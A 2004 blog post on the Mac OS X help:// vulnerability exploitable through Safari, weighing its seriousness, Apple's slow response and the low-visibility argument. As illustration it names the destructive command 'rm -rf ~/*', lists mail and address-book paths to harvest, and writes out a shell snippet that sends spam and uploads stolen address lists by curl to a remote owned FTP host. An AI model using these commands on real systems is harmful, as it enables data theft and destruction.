DrunkenBlog

Recognizing a warning shot

I've gotten mail about the new security exploit going around for MacOS X, either to give me a heads up on it, or to ask my thoughts on it... which is kind of odd, but cool too...

Interesting things happens when your blog goes from averaging 1k uniq's/month to 130k+/month, and that's after you remove the bots or stuff I mirror. It's gone way down from the peak, but it's still way up there from what it was, with thousands of uniq's pulling down my .rdf file in their newsreader of choice.

I can go through some of the others another time, but the one that's pertinent to this post is that your time to decide what to blog about gets cut way, way down, as people start telling you what they'd like you to write about. It certainly makes things simpler, but does make you feel as though you should be using a spell checker.

If you haven't followed, there's been some security buzz of late going on in the OSX world. Much of it by the mainstays of the mac community has been... kinda blown off. Either saying "it's a feature, not a bug" regarding something like the DHCP vulnerability, or conspiracy theories regarding whether or not a certain company actually created the vulnerability. There's also been a trojan that doesn't touch on any of them floating around the file-sharing services claiming to be Office2004...

...this particular exploit is much more general, and involves the help:// protocol built into MacOS X, which can be exploited by Safari. Basically if you go to a site that exploits this, Safari passes the commands onto the help viewer, which will run whatever you tell it to. It's very, very reminiscent of older IE for Windows exploits.

To break it down, my thoughts are six-fold:

1. It's a big, big deal
   Extremely serious. Most of the things out right now are simple proof-of-concepts, but don't kid yourself, this is nasty, and while there have been several nasty holes found recently, the barrier to entry to creating something really nasty and hurting a grandma is severely decreased.

   Someone could well post a link to something malicious in the comments to this post and you'd be screwed. And it's making the rounds, big time. We aren't even talking about something complex enough to warrant needing a mac for testing... anyone who looks at the vulnerability, checks out the test case and knows the command rm -rf ~/* is your worst nightmare.

   Part of me is glad for it, there are Apple users out there who feel immune, and act as such, and click everything that comes their way and pretty much tell others to do the same. They consider it a bragging right. They've joined the rest of the computing world now in having to be careful about where they go, just not as careful.

   Mac users: you're going to get freaked by this, and be tempted to right it off. Don't do that, you'll just look foolish. Don't cry chicken little, but this is the real deal.
   

2. It could be worse
   It's not a self-propagating worm at this point. And outside of being a root-exploitable default service, it's about as bad as it could get. Right now, the ways this is being used are pretty simplistic.

   But don't kid yourself... with a lot more brain power applied, this could get real bad, real fast. I wouldn't be surprised if someone is writing up a curl script to push this to hundreds of forums or mailing lists.
   

3. This is a security versus convenience thing
   There's a fine line that every OS maker has to contend with. Security is a trade-off. The more secure something is, the more inconvenient it will be. There are lots of people saying "Apple had to do this, otherwise installing software would be too hard for people".

   There validity to that, in that its convenient and increases usability. I've even been grateful for it before. But there's a certain other OS vendor who has gone down this path before, and is getting harangued because of it.

4. There's nothing magical about Mac OSX
   Those who think Macs are magically more secure than other systems really need to take a gut-check with this. Apple is ahead of the game in that the guts they build on are open source, fairly well tested, and takes security seriously from the start. But you have to remember that this is OSX's base, not the whole deal.

   As people are starting to turn a security eye to OSX they aren't finding fault with the *nix base so much as with what Apple bolts on. Anything they add is fair game, untested, and possibly exploitable. Just because it's based on *nix does not give it inherent security, it just raises the bar, which can be lowered through what's bolted on top of it.
   

5. Disappointed
   I'm not so much disappointed in that it happened, but rather at Apple's handling of security matters yet again. The finder of the exploit claims he told Apple about it in February, and finally came forward after being ignored. To those whose opinions I care about, Apple is gaining mindshare as a company who downplays security problems in the name of PR and is uncommunicative to security researchers. They need to change that story.

   In the past, the mac crowd has gone after these guys as though they were lying about when they told Apple... lay off. I can't speak for certainty on this one, but I know its happened in the past. There is no patch, although there are fixes available. And Apple has just given their canned response, and people are saying "I hope they fix it soon".
   

6. Using a low-visibility platform has its benefits
   Those who think Apples minority status doesn't save their ass need to treat this as a shot across the bow, and wake up to the fact that this is the kind of hole where, if it was on Windows, would have been the cause of tens of thousands of PCs being infected with spy/malware.
   

The last seems to cause the most contention, and often when someone says something like "Macs are low-visibility, which is why they don't have viruses" they are blasted by the mac faithful like you wouldn't believe. I'm not quite sure where it comes from, but while it isn't the whole story, there's definite truth to it.

It's all about opportunity costs. Here's an example:

Some of the most prevalent malware lately have been the equivalent of an encrypted .dmg file emailed to a user, which they then have to save to disk, run, enter a password, double-click a wrapped shell script & they're lunch.

In some ways doing this on something like 10.3 would be _easier_ than on current versions of windows as many of the viruses now carry along their own lil smtp engine because it really isn't that easy to script stuff going straight out through Outlook anymore.

I whipped up a silly-proof-of-concept of this pretty easily, which I checked to make sure would work, and then deleted it straight quick. But to give you an idea, once you've trawled things like:

~/Library/Mail/
~/Library/Application\ Support/AddressBook
~/Documents/Microsoft\ User\ Data/Office\ X\ Identities/

...etc...

Your money shot can be as simple as something like:

mail -s "$spamsubject" "$spamlist" < $messagebodies;
curl -T $path2spamlist ftp://$remoteOwnedHost$remotePath -u $remoteOwnedUser:$remotePass

You're talking all of 10 minutes really to get some of the most damning functionality even with someone of limited skillz. And I'm just talking about harvesting for spam... doing a locate for Quicken files or .docs or .xls would be just as easy, but it was just to give you an idea.

Hell, the ease of coding on the mac would allow you to create a more feature-laden, less buggy social virus in half the time... ;)

But stop and think about it... there's no real bang-for-buck in doing it for the mac, you have a drastically lessened field of possible hosts to spread to. This includes not only mac machines, but happening to get that one person who will download the virus and actually do it. Sure it'll get lucky here and there, but will quickly quickly peter out... once it gets a little ways.

The same will happen to this... sure, one could throw up a geocities page with lots of mac-related content, let it get googled and then wait and see how many mac users you snare... but we're talking paltry stuff. Sheer numbers mean that if you're using a 5-year old Windows IE exploit you'll have 100 times the exploited users in 1/100th of the time.

Which isn't to downplay the danger of this current exploit in any way. If I were a real bastard, and you hadn't applied the fixes, and were reading this on a 10.3 machine, the above could be running on your machine as you read this, and sending me all your private goodies.

The subject is kind of tiring at this point, and I've pretty much shot my load. Apple is crunching some spreadsheet showing them that their current status quo makes sense, and doesn't seem to realize they're missing a variable in their equation.

 Posted by drunkenbatman
    May 20, 2004, at 11:23 PM